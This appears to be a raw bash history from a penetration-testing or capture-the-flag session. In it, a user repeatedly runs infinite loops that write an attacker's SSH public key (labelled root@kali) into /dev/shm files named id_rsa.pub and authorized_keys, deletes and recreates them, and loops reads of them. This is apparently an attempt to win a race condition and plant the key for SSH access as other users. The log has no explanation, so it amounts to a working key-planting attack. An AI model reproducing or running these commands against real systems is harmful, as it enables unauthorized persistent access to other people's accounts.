 1499  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub* &amp;gt; /dev/null; done
 1500  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub &amp;gt; /dev/null; done
 1501  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys* &amp;gt; /dev/null; done
 1502  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub* &amp;gt; /dev/null; done
 1503  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys* &amp;gt; /dev/null; done
 1504  ls -la 
 1505  cd keys/
 1506  ls -la 
 1507  cat id_rsa.pub\* 
 1508  clear
 1509  ls a- l
 1510  clear
 1511  ls -la 
 1512  cat id_rsa.pub\* 
 1513  cd..
 1514  cd ..
 1515  clear
 1516  ls -la 
 1517  cd l
 1518  cd keys/
 1519  ls -la 
 1520  rm -r id_rsa.pub\* 
 1521  clear
 1522  ls -la 
 1523  cd ..
 1524  ls -a l
 1525  rm -r keys/
 1526  clear
 1527  ls -al 
 1528  ls -la 
 1529  cd ..
 1530  cd shm/
 1531  ls -la 
 1532  su jane
 1533  clear
 1534  ls -]al 
 1535  clear
 1536  ls -la 
 1537  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm* &amp;gt; /dev/null; done
 1538  clear
 1539  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1540  clear
 1541  ls -la 
 1542  rm -r id_rsa.pub 
 1543  clear
 1544  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1545  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/authorized_keys &amp;gt; /dev/null; done
 1546  clear
 1547  ls -la 
 1548  cat id_rsa
 1549  rm -r id_rsa
 1550  ls -la 
 1551  clear
 1552  ls -al 
 1553  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/authorized_keys &amp;gt; /dev/null; done
 1554  ls 
 1555  clear
 1556  ls -a 
 1557  ls -la 
 1558  cat authorized_keys 
 1559  clear
 1560  ls -la 
 1561  rm -r authorized_keys 
 1562  rm -r id_rsa.pub 
 1563  clear
 1564  ls -la 
 1565  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/authorized_keys &amp;gt; /dev/null; done
 1566  ls -la 
 1567  clear
 1568  ls -la 
 1569  rm -r authorized_keys 
 1570  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1571  clear
 1572  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1573  clear
 1574  ls -la 
 1575  rm --
 1576  rm -r id_rsa.pub 
 1577  ls -al 
 1578  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1579  clear
 1580  ls -al 
 1581  ls -la 
 1582  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1583  clear
 1584  cd /dev/shm/
 1585  ls -al 
 1586  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1587  clear
 1588  cd /dev/shm/
 1589  ls -al 
 1590  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1591  clear
 1592  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1593  while true; do cat /dev/shm/id_rsa.pub
 1594  while true; do cat /dev/shm/id_rsa.pub; done
 1595  while true; do cat /dev/shm/id_rsa.pub &amp;gt; output.txt; done
 1596  ls 
 1597  while true; do cat /dev/shm/id_rsa.pub &amp;gt; output.txt; done
 1598  ls -al 
 1599  cat output.txt 
 1600  while true; do cat /dev/shm/id_rsa.pub | tee output.txt; done
 1601  while true; do cat /dev/shm/id_rsa.pub &amp;gt; output.txt; done
 1602  ls 
 1603  while true; do cat /dev/shm/id_rsa.pub &amp;gt; output.txt; done
 1604  ls -al 
 1605  cat output.txt 
 1606  while true; do cat /dev/shm/id_rsa.pub | tee output.txt; done
 1607  ls -la 
 1608  while true; do cat /dev/shm/id_rsa.pub | tee /home/donald/output.txt; done
 1609  while true; do cat /dev/shm/id_rsa.pub | grep -i ssh; done
 1610  while true; do cat /dev/shm/id_rsa.pub | grep -v ssh; done
 1611  while true; do cat /dev/shm/id_rsa.pub | grep ssh; done
 1612  while true; do cat /dev/shm/id_rsa.pub | grep -i nossh; done
 1613  ls -la 
 1614  rm -r output.txt 
 1615  while true; do cat /dev/shm/id_rsa.pub | tee /dev/shm/id_rsa.pub &amp;gt; output.txt; done
 1616  while true; do cat /dev/shm/id_rsa.pub &amp;gt; output.txt; done
 1617  ls 
 1618  while true; do cat /dev/shm/id_rsa.pub &amp;gt; output.txt; done
 1619  ls -al 
 1620  cat output.txt 
 1621  while true; do cat /dev/shm/id_rsa.pub | tee output.txt; done
 1622  ls -la 
 1623  while true; do cat /dev/shm/id_rsa.pub | tee /home/donald/output.txt; done
 1624  while true; do cat /dev/shm/id_rsa.pub | grep -i ssh; done
 1625  while true; do cat /dev/shm/id_rsa.pub | grep -v ssh; done
 1626  while true; do cat /dev/shm/id_rsa.pub | grep ssh; done
 1627  while true; do cat /dev/shm/id_rsa.pub | grep -i nossh; done
 1628  ls -la 
 1629  rm -r output.txt 
 1630  while true; do cat /dev/shm/id_rsa.pub | tee /dev/shm/id_rsa.pub &amp;gt; output.txt; done
 1631  ls -la 
 1632  while true; do tee /dev/shm/id_rsa.pub &amp;gt; output.txt; done
 1633  while true; do tee /dev/shm/id_rsa.pub &amp;gt; /tmp/output.txt; done
 1634  while true; do cat /dev/shm/id_rsa.pub; done
 1635  cd
 1636  exit
 1637  clear
 1638  cd /
 1639  cd /dev/shm/
 1640  ls -la 
 1641  ls -al 
 1642  ls f-la 
 1643  ls -la 
 1644  echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; &amp;gt; /dev/shm/id_rsa.pub
 1645  clear
 1646  ls -]al 
 1647  ls -la 
 1648  ls -al 
 1649  echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; &amp;gt; /dev/shm/id_rsa.pub
 1650  clear
 1651  ls -la 
 1652  echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; &amp;gt; /dev/shm/id_rsa.pub
 1653  ls -la 
 1654  clear
 1655  ls -al 
 1656  rm -r id_rsa.pub 
 1657  ls -al 
 1658  clear
 1659  echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; &amp;gt; /dev/shm/id_rsa.pub
 1660  clear
 1661  ls -la 
 1662  clear
 1663  ls -la 
 1664  rm -r id_rsa.pub 
 1665  clear
 1666  ls -la 
 1667  rm -r id_rsa.pub 
 1668  cd
 1669  ls -la 
 1670  cat output.txt 
 1671  ls -la 
